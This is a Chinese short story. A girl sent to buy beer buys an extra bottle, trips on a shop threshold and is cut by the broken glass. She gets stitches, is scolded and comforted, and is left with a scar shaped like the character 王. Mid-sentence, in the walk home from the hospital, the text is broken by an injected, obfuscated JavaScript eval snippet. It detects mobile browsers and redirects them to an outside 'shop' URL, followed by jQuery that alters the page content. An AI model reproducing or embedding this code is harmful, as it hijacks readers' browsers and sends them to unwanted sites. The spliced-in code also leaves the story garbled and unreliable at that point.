夏天很热。
那种热不是一下子扑过来的，是从早上就开始闷着，闷到傍晚还不肯散。太阳已经落下去了，但空气还是黏糊糊的，贴在皮肤上，像一层看不见的膜。
清清坐在门口的小板凳上，手里摇着一把蒲扇，一下一下，扇出来的风也是热的。
厨房门口的空地上，母亲正忙着。煤球炉支在那儿，火苗蓝幽幽的，舔着锅底。锅里的油滋滋响，一股葱花的香味飘过来，清清吸了吸鼻子。
“别坐着，过来帮忙剥头蒜。”母亲头也没回。
清清站起来，往那边走。刚走两步，父亲从屋里出来，手里拎着一件汗衫，边走边往头上套。
“清清。”
她停下来。
“去，坡下小卖部，买两瓶啤酒。”父亲从裤兜里掏出几张皱巴巴的钱，数了数，递给她一张，“剩下的买根冰棍。”
清清接过钱，眼睛亮了一下。
“快去快回，等你爸吃饭呢。”母亲在锅边喊。
清清把钱往裤兜里一塞，撒腿就跑。
坡道往下，她穿着那双白色凉鞋跑下坡道，嗒嗒嗒的声音，鞋底磨得有点薄了，能感觉到地上的小石子。
有人在阳台上乘凉，摇着扇子，看见她跑过去，喊了一声什么，她没听清，也没停下。
跑到坡底，右手边就是那家小卖部。
小卖部的门是老式的木门，漆成深绿色，门口有一道门槛，高高的，木头做的，边角被踩得发亮。那是关门时用来挡门的，平时开着，门槛就横在那儿，进进出出都得抬脚跨过去。
清清熟门熟路地推开门，一股凉气扑面而来。
小卖部不大，货架子挤得满满当当。靠墙立着一个大冰柜，白漆的，盖子上贴着花花绿绿的冰棍纸——娃娃头、绿豆沙、橘子冰、奶油大雪糕。清清盯着那个冰柜，眼睛有点直。
“哟，清清啊。”
老板娘坐在柜台后面，手里摇着一把大蒲扇，比清清那把大多了。她胖胖的，脸上总是带着笑，看见清清进来，冲她招招手。
“买什么？”
清清走过去，把那张钱往柜台上一拍。
“两瓶啤酒。”
老板娘接过去看了一眼，站起来，转身从后面的箱子里拎出两瓶啤酒。绿色的玻璃瓶，瓶身上挂着水珠，冰冰凉凉的。她拿一个塑料袋装上，放在柜台上。
清清没走。
她看着那个冰柜。
冰柜盖子上面贴着价签——娃娃头三毛，绿豆沙两毛，橘子冰两毛，奶油大雪糕五毛。她手里还有找回来的零钱，她攥着那些钱，手心有点出汗。
她想起父亲说的话——“剩下的买根冰棍。”
一根。
但她看着那个冰柜，脑子里想的不是一根。
娃娃头。她最喜欢娃娃头。那个戴着帽子的小人，帽子是巧克力味的，脸是奶油味的。上次吃还是什么时候？她不记得了。
但父亲今天——
她想起父亲刚才出门时的样子。那件汗衫是旧的，领口都松了，他还在穿。他最近老是皱着眉，吃饭的时候不怎么说话。母亲说他工作上的事，她不很懂，但她知道，父亲心情不好。
一根冰棍三毛。两瓶啤酒两块四。父亲给的那张钱是五块的，应该能找回来两块三。一根冰棍三毛，还能剩两块。两块能买什么？她不知道。但那是父亲的钱。
她站在那儿，站了一会儿。
然后她开口了。
“阿姨，”她说，“我要三瓶啤酒。”
老板娘愣了一下。
“三瓶？”
清清点点头。
“你爸让你买三瓶？”
清清没说话。她把手里攥着的那些钱也递过去，那是刚才找回来的。
老板娘看了她一眼，没再问。转身又从箱子里拎出一瓶，三瓶一起装进塑料袋里。
“拿得动吗？”
清清点点头。
老板娘又看了她一眼，然后弯下腰，从冰柜里拿出一根娃娃头，递给她。
“这个算我请你。”
清清愣了一下。
“拿着呀，化了。”老板娘把冰棍往她手里一塞。
清清接过来，咬在嘴里。冰凉的，甜的，帽子的部分已经开始化了，巧克力味在舌尖上化开。
她把冰棍咬在嘴里，两只手去拎那个塑料袋。三瓶啤酒有点沉，她拎起来，调整了一下姿势，一手托着底，一手拎着口。
“慢点走啊。”老板娘在后面喊。
清清嗯了一声，推开门，往外走。
门槛。
她忘了那道门槛。
她跑得太急了，心里还想着冰棍的甜，脚下没抬够高度——
脚尖结结实实地踢在那道木门槛上。
整个人往前扑。
两只手想撑地，但手里拎着啤酒，来不及扔。
“砰——！”
一声闷响。然后是“啪啦”几声，玻璃碎掉的声音，脆脆的，炸开。
清清趴在地上，愣了一秒。
冰棍摔出去了，骨碌碌滚到一边。啤酒瓶碎了，玻璃碴子散了一地，啤酒淌出来，白沫子翻着，淌到地上，淌到她的手上、腿上。
然后她看见自己的手。
手心扎着一块玻璃，扎进去了，血从旁边渗出来，红的。她盯着那块玻璃，盯了一秒，两秒——
然后腿上的疼来了。
她低头看。
脚踝那儿，一道口子，很长，正在往外冒血。血淌下来，淌到鞋上，淌到地上，和那些啤酒混在一起，红的白的混成一片。
她看着那些血，看着那些玻璃碴子，看着那三瓶啤酒碎成一片，酒淌光了，只剩几块绿玻璃躺在地上，映着路灯的光。
疼。
疼得她整个人都缩起来。
她张嘴想喊，没喊出来，先哭了。
眼泪啪嗒啪嗒往下掉，砸在地上，砸在那些啤酒沫子里。她坐在那儿，抱着自己的腿，哭得一抽一抽的。
“哎呀——！”
老板娘的声音从身后传来。她跑出来了，跑得气喘吁吁的，大蒲扇不知道扔哪儿了。
“清清！清清你别动！”
她蹲下来，看清清的手，看清清的脚，看清清脸上那些眼泪和鼻涕。
“你等着，别动，我去叫你爸妈！”
她又跑了。
清清坐在那儿，抱着腿，还在哭。疼，疼得她浑身发抖。手心的玻璃她不敢拔，就那么扎着。脚踝的血还在流，淌到地上，淌成一小摊。
她低着头，看着那些血，看着那些啤酒沫子，看着那根还没吃完的冰棍躺在旁边，娃娃头的脸已经化了，一摊白水混着泥。
她哭得更大声了。
不知道过了多久，有脚步声从坡道上传下来，很急，嗒嗒嗒的。
“清清！”
母亲的声音。
清清抬起头，眼睛被眼泪糊住了，什么也看不清。就看见一个人影冲过来，蹲下来，一把把她抱住。
“怎么回事？怎么回事？”
母亲的手在她身上摸，摸到她的手，摸到她的脚，摸到那些血。母亲的手在抖。
“怎么搞的？怎么搞的？”
父亲也跑过来了。他蹲下来，看清清的手，看清清的脚，看清清那一脸的眼泪。他没说话，脸绷得紧紧的。
“得去医院，”他说，“得赶紧。”
母亲抱起清清，清清在她怀里，还在哭。父亲在旁边托着她的脚，怕碰着。
“车，叫车——”母亲的声音也在抖。
父亲跑到路边，站在那儿，冲路上挥手。
有一辆车停下来。那时候路上车少，但正好有一辆，停下来了。
父亲拉开车门，母亲抱着清清钻进去。车门关上，车开起来。
清清靠在母亲怀里，还在哭。母亲的手摸着她的头，一下一下，也在抖。
“没事的，没事的。”母亲说，声音轻轻的，像在哄她，也像在哄自己。
清清不知道开了多久。她只觉得疼，只觉得晕，只觉得眼前一花一花的。
医院到了。
急诊室的灯白白的，亮得晃眼。清清被放在一张床上，有人围过来，有人看她的手，有人看她的脚。有人在说话，说得很快，她听不清。
一个穿白大褂的人蹲下来，看她的脚。
“这个得缝。”
清清愣住了。
缝？
像缝衣服那样？用针？
她开始发抖。
“不要……”她说，“我不要缝……”
没人理她。
有人把她的手拿过去，把那块玻璃拔出来。疼得她尖叫了一声，眼泪又涌出来。然后有人往她手上抹什么，凉凉的，刺鼻的味儿。
脚那边也有人动。她不敢看，把脸埋在母亲怀里，两只手死死抓着母亲的衣服。
“别怕，别怕。”母亲的声音在头顶，也在抖。
“我不缝……”清清哭着喊，“妈妈，我不缝……”
“得缝，”那个白大褂的声音，不远不近的，“口子太深，不缝好不了。”
清清哭得更大声了。
有人把她的腿按住，凉凉的，湿湿的，在伤口上擦什么。她疼得一抽一抽的，想缩腿，缩不动。
然后她听见一声“针”。
她不敢看。她把脸埋得更深，眼睛闭得紧紧的，手指攥着母亲的衣服，攥得指节发白。
第一下。
疼。
她整个人一抖，叫了一声。
“别动。”那个声音说。
她不敢动了。就趴在那儿，咬着嘴唇，眼泪一直流，流到母亲的衣服上，湿了一大块。
一下，两下，三下。
她数着。
不知道数到第几下的时候，终于停了。
“好了。”
清清睁开眼，眼泪糊了一脸，什么也看不清。她抬起没受伤的那只手，抹了一把，才看见那个白大褂正往她脚上缠纱布。一圈一圈，白白的。
“这几天别碰水，过半个月来拆线。”
母亲连声说谢谢。
清清躺在那儿，没动。她觉得整个人都软了，像被抽空了。
从医院出来的时候，天已经全黑了。
父亲抱着她，母亲在旁边跟着。街上没什么人，路灯昏黄昏黄的，把三个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437412|200981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人的影子拉得老长。
回到家，母亲把她放在床上，然后去打电话。
清清听见她在电话里说：“……老师，清清摔伤了，得请假几天……对，缝了好几针……好，好，谢谢老师……”
电话挂了。
母亲走回来，坐在床边，看着她。
清清躺在床上，那只受伤的脚被垫高了，架在一个枕头上。纱布缠得厚厚的，脚踝那儿鼓鼓囊囊的。
母亲看了她一会儿，然后伸手，在她脑门上点了一下。
“该！让你贪心。”
清清没说话。
“买两瓶啤酒，你买三瓶？”母亲看着她，“还买冰棍？跑那么快？这下好了吧？”
清清还是没说话。她抿着嘴，眼眶有点红。
母亲看着她，看着她那个样子，忽然笑了一下。不是那种真的笑，是那种又想气又想笑的。
“这个教训记住了没？”
清清往她怀里钻，脑袋拱着，像只小猫。
母亲伸手搂住她，轻轻叹了口气。
“好了好了，不说了。疼不疼？”
清清点点头。
“活该。”母亲说，但手轻轻地拍着她的背，一下一下。
那天晚上，清清睡在母亲床上。
父亲把自己的枕头被子抱到她的小床上去了。临走的时候站在门口，看着她们娘俩，站了一会儿，没说话，出去了。
清清躺在母亲旁边，受伤的脚架在枕头上，一动不敢动。母亲关了灯，屋里黑漆漆的。窗帘没拉严，有光透进来，细细的一条。
“妈妈。”清清轻轻喊。
“嗯？”
“我以后不贪心了。”
母亲没说话。过了一会儿，清清感觉一只手伸过来，摸了摸她的头。
“睡吧。”
清清闭上眼睛。
第二天下午，清清躺在床上发呆，听见楼下有人喊。
“清清——！”
是云曦的声音。
母亲去开门，没一会儿，云曦就冲进来了，后面跟着她妈妈。
“清清！”云曦跑到床边，看着她那只缠满纱布的脚，眼睛瞪得圆圆的，“你怎么了？”
“摔了。”清清说。
“怎么摔的？”
清清没说话。
云曦也不追问，就坐在床边，看着她那只脚。
“疼不疼？”
“疼。”
“缝针的时候哭了没？”
清清没说话。
云曦笑了一下，没再问。
她从书包里掏出两个作业本，一本语文，一本数学。
“这两天的作业，我给你抄来了。老师让我带给你。”她把作业本放在床头，“不会的问我，我放学先来你家，做完作业再回去。”
清清看着她。
云曦的脸上还有汗，跑来的路上热的。她的马尾辫有点歪，额前的碎发贴在脑门上。
“谢谢。”清清说。
“谢什么。”云曦站起来，拍拍手，“那你好好养着，我先回去了，我妈在楼下等我呢。”
她跑了出去，脚步声嗒嗒嗒的，一路下楼去了。
清清躺在那儿，看着床头那两个作业本，看了一会儿。
半个月后，拆线的日子。
清清被母亲带到医院。还是那个急诊室，还是那个白大褂。清清一进门就紧张，抓着母亲的衣服不撒手。
“别怕，不疼。”白大褂说。
清清不信。
白大褂坐下来，拿剪刀，把她脚上的纱布剪开。一圈一圈，缠得厚厚的纱布解下来，露出那道伤口。
清清低头看了一眼。
一道粉粉的印子，长长的，横在脚踝那儿。上面有一排细细的针脚，像缝衣服那样。
白大褂拿着小镊子，开始拆线。
一根，两根，三根。清清闭着眼睛，不敢看，攥着母亲的手，攥得紧紧的。
“好了。”
清清睁开眼。
白大褂站起来，低头看她，忽然笑了一下。
“这回没哭鼻子？”
清清没说话，脸有点红。
“行了，回去吧。别碰水，过几天就长好了。”
清清站起来，一瘸一拐地往外走。走了两步，她忍不住低头看了一眼。
脚踝那儿，那道粉粉的印子还在。细细的，长长的，那排针脚的痕迹还在，像一排小小的点点。
她皱起眉。
那个形状——
她蹲下来，仔细看。
那道口子是竖着的，但那排针脚是横着的，一道一道，缝在口子两边。现在拆了线，那些针眼儿还在，红的，小小的，一个挨一个。
她数了数。
左边三个，右边三个，中间一道竖杠。
像一个字。
清清盯着那个形状，盯了很久。
“清清，走了。”母亲在前面喊。
她站起来，又低头看了一眼。
那个“王”字趴在她脚踝上，粉粉的，浅浅的，像谁用指甲轻轻划上去的。
她皱了皱眉。
然后一瘸一拐地跟着母亲走了。